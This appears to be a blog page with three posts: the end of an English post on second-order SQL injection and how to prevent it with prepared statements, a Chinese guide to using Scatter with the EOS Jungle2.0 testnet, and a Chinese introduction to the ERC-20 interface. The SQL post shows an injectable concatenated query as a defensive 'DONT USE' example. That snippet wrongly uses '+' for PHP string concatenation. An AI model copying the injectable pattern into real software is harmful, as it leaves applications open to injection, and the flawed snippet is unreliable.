So, Second-order(that is, stored SQL injection) means the application store user’s input to database(or somewhere else). Later, the application retrieves the stored data and excute an SQL query with it.

This will happen because developers are aware of SQL injection vulnerabilities, so safely handle the direct input from user. But they forgot that Second-order SQL query is also get input from user, so remember “DONT TRUST ANY USER INPUT” when you develop any application.

How to prevent

So after all, how do we prevent these vulnerabilites?

We can use parameterized query(also known as prepared statements) instead of directly concatenate strings together.

DONT USE:

1
$query = "SELECT * FROM products WHERE category = '"+ $input + "'";

USE:

1
2
3
$sql = "SELECT * FROM products WHERE category = :category";
$sth = $dbh->prepare($sql, array(PDO::ATTR_CURSOR => PDO::CURSOR_FWDONLY));
$sth->execute(array(':category' => 'shoes'));

Summary

I think the most important lesson that SQLi bring us is “NEVER TRUST USER”.

As a developer, we need to make sure we know the meaning of every single line of code that we are writting. And trust no one.

References

EOS Jungle2.0 Testnet With Scatter Desktop

此篇旨在紀錄筆者透過 Scatter 桌面版使用 Jungle2.0 Testnet的過程及教學

Generate key

  1. 打開Scatter,並點選 Wallet > Generate Key

  2. 選擇 EOSIO

  3. 選擇 Key

  4. 此時 Scatter 即會幫你生成一個 Private Key,請自行保管好

  5. 按 Back 回到 Wallet的頁面 (步驟1.),並將紅色框框中的 Public Key 複製下來

Create an account

  1. 點此註冊一個帳號

  2. 輸入 Account name,並將剛才的 Public Key 貼上在下面兩個欄位

Get Free Tokens

  1. 點此並輸入剛才的帳號名稱,就可以獲得 1 Token

Add Jungle 2 Network in Scatter

  1. 回到 Scatter,並點選 Networks > Add Custom Network

    • Name 中輸入一個可辨識的名稱
    • Host 輸入 jungle2.cryptolions.io
    • Protocol 為 https
    • Port 為 443
    • Chain ID 為 e70aaab8997e1dfce58fbfac80cbbb8fecec7b99cf982a9444273cbc64c41473
      最後按下 Add 即可

Check Network Setting

  1. 最後回 Wallet 頁面,確認是否確實連上測試鏈。只要兩個紅框處分別呈現帳號名稱,及剛剛拿到的1個 Free Token,即為成功連結測試鏈。

ERC-20 Token Standard 簡介

ERC-20 與 ERC-721 比較

簡單來說,ERC20是「每個代幣都一樣」;而ERC721則是「每個代幣都有其獨特性」

Interface

1
2
3
4
5
6
7
8
9
10
11
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);

event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}

總共有6個function以及2個event。其中constant的function是唯讀的,所以不會花費Gas。
Event只用於記錄,可以視為一般系統上的log功能。

1
2
3
string public constant name = "Token Name";
string public constant symbol = "SYM";
uint8 public constant decimals = 18; // 18 is the most common number of decimal places

另外還有三個需要設定的參數:name、symbol、decimals。name是Token的名字;symbol是Token的代稱(簡稱);decimals是Token小數最多可以到幾位數,正常為18,也就是和Ether一樣。

Function 說明

  1. totalSupply(),Token的發行總量。
  2. balanceOf(address),傳入地址的錢包的Token數量。
  3. allowance(address A, address B),A批准給B的Token量。
  4. transfer(address A, uint num),將數量為num的Token轉移給A。
  5. approve(address A, uint num),批准數量為num的Token轉移給A,需注意的是,這個function只是單純做「批准」這個動作,而沒有進行轉移。若需要轉移則要再呼叫transferFrom。
  6. transferFrom(address, address, uint),將數量為num的Token由A轉移給B。

注意事項

Solidity版本 >= 0.4.17

Ref.